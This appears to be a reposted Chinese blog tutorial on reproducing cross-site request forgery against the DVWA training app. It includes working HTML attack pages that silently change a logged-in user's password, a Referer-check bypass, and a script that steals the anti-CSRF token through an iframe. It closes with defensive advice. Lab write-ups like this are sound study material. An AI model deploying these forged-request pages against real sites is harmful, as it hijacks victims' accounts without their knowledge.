当前位置: 首页 > article >正文

csrf漏洞复现

介绍
CSRF(Cross Site Request Forgery, 跨站请求伪造)是一种网络的攻击方式,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF
CSRF漏洞是因为web应用程序在用户进行敏感操作时,如修改账号密码、添加账号、转账等,没有校验表单token或者http请求头中的referer值,从而导致恶意攻击者利用普通用户的身份(cookie)完成攻击行为
原理
用户访问a网址,在a网址的cookie有效期内,又访问了b网址,b网站里含有对a网址进行恶意请求的代码,由于此时a网址的cookie没有过期,所以对不会对这个恶意请求进行过滤
一次CSRF攻击的过程中,受害者需要依次完成两个步骤
1.登录受信任网站A,并在本地生成Cookie
2.在A的cookie存活期内,访问危险网站B
CSRF高危触发点
论坛交流、用户中心、反馈留言、交易管理、后台管理
漏洞出现在论坛交流,或者是个人用户中心和反馈留言这些常规的功能处,会造成隐私的泄露;
漏洞发生在交易管理功能的页面,此时可以进行一些类似转账或者是购买物品的操作,那么用户的资产便会存在安全隐患;
漏洞发生在后台管理的功能处,则会威胁到网站本身的安全性。
漏洞危害
CSRF漏洞会导致受害人在不知情的情况下向论坛发帖子、订阅邮件列表、网购或股票交易,或变更用户名或口令。对受到防火墙保护的所有web应用程序而言,CSRF攻击都能绕过防火墙攻击web应用
伪造HTTP请求进行未授权操作,比如:1.篡改、盗取目标网站上的重要用户数据2.未经允许执行对用户名誉或者资产有害的操作,如散播不良信息、进行消费等3.如果通过使用社工等方式攻击网站管理员,会危害网站本身的安全性
传播CSRF蠕虫
作为其他攻击向量的辅助攻击手法,比如配合XSS
漏洞复现
1.基本漏洞形式(dvwa低级)
构造一个url:http://192.168.0.106/CSRF/1.html,让a网址cookie有效期内的用户点击后对a网址发送请求
1.html内容:

<!DOCTYPE html>
<html lang="en">
<hed>
   <meta charset="UTF-8">
   <title>Title</title>
</head>
<body>
<img hidden src="http://localhost/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" alt="">
</body>
</html>

执行效果:
dvwa密码改为123456
2.漏洞防御绕过
2.1Referer验证绕过(dwva中级)
Referer验证原理
HTTP头里的referer字段指定了从哪个页面发起的请求,使用Referer验证请求是否从本地localhost页面发起请求(验证referer里是否包含localhost)
绕过
构造url时文件名改为localhost.html:http://192.168.0.106/CSRF/localhost.html
localhost.html内容

<!DOCTYPE html>
<html lang="en">
<hed>
  <meta charset="UTF-8">
  <title>Title</title>
</head>
<body>
<img hidden src="http://localhost/DVWA-master/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#" alt="">
</body>
</html>

执行效果:
dvwa密码改为123
2.2Token验证(dwva高级)
原理:
每次访问服务器,服务器会生成一个随机token令牌,在请求时需要将token令牌发送给服务端
绕过
1.html里获取token值,并拼接到请求里
1.html内容:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<iframe name="if1" src="http://localhost/DVWA-master/vulnerabilities/csrf"></iframe>
<script>
    window.onload = function(){
    var user_token_input = window.frames["if1"].document.getElementsByName("user_token")[0];
    alert(user_token_input.value);
    document.body.innerHTML+='<img hidden src="http://localhost/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change&user_token='+user_token_input.value+'#" alt="">'
    }
</script>
</body>
</html>

执行效果:
dvwa密码改为password
3.增加验证码验证
无法获取验证码进行绕过
CSRF漏洞总结
CSRF攻击的核心是伪造请求,识别这种的攻击的重点就是判断当前操作是否伪造;通过在当前页面生成随机Token,后端业务逻辑在处理操作时,应该先校验Token的有效性,然后才能处理业务流程。尤其在核心业务中,采用Token+Referer的组合进行操作验证;采用验证码校验操作是因为攻击者无法预知验证码的值,进而无法构造有效的攻击;但毫无疑问,验证码会一定程度地影响用户体验,所以我们要在安全和用户体验之间找到一个平衡点。

本文转自 https://blog.csdn.net/wsnbbz/article/details/104652494?ops_request_misc=%257B%2522request%255Fid%2522%253A%252215a677e49101f989eb8032af477dc85e%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=15a677e49101f989eb8032af477dc85e&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allbaidu_landing_v2~default-4-104652494-null-null.142v100pc_search_result_base8&utm_term=CSRF%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0&spm=1018.2226.3001.4187,如有侵权,请联系删除。


http://www.kler.cn/a/430544.html

相关文章:

  • 五十七:RST_STREAM帧及常见错误码
  • 详细对比JS中XMLHttpRequest和fetch的使用
  • 大模型应用技术系列(三): 深入理解大模型应用中的Cache:GPTCache
  • 数据质量检测
  • C++软件设计模式之装饰器模式
  • 实现点击表格中的邀请码并复制到剪贴板的功能
  • Copilot for Microsoft 365 Plugins 示例项目教程
  • FM25V20A-DGQ:耐用、快速、低功耗的F-RAM
  • kcat - Apache Kafka producer and consumer tool
  • 调度系统:基于 Couchbase 构建数仓 Temporal、Apache Airflow 和 DonpinScheduler 的详细比较
  • IdentityServer4框架、ASP.NET core Identity
  • ios使用UIScrollView和PageControl创建图片轮播
  • selenium学习:等待方式
  • 网络安全法-网络运行安全
  • Scala正则表达式
  • UAC2.0 speaker——带反馈端点的 USB speaker(16bit 单声道)
  • 大数据新视界 -- Hive 临时表与视图的应用场景(下)(30 / 30)
  • 机器学习 (西瓜书) 内容概要【不含数学推导】
  • MySQL 通过 Next-Key Locking 技术避免幻读问题
  • 【JavaEE】多线程(7)
  • python如何与前端交互
  • NFT Insider #158:$SAND 和 LAND 价格反弹
  • 【 C++ 入门基础】 —— 双壁传奇C语言和C++的爱恨情仇
  • PostGIS分区表学习相关
  • LLM学习笔记(18)序列标注任务(测试模型阶段)
  • 基于STM32的机器人手臂控制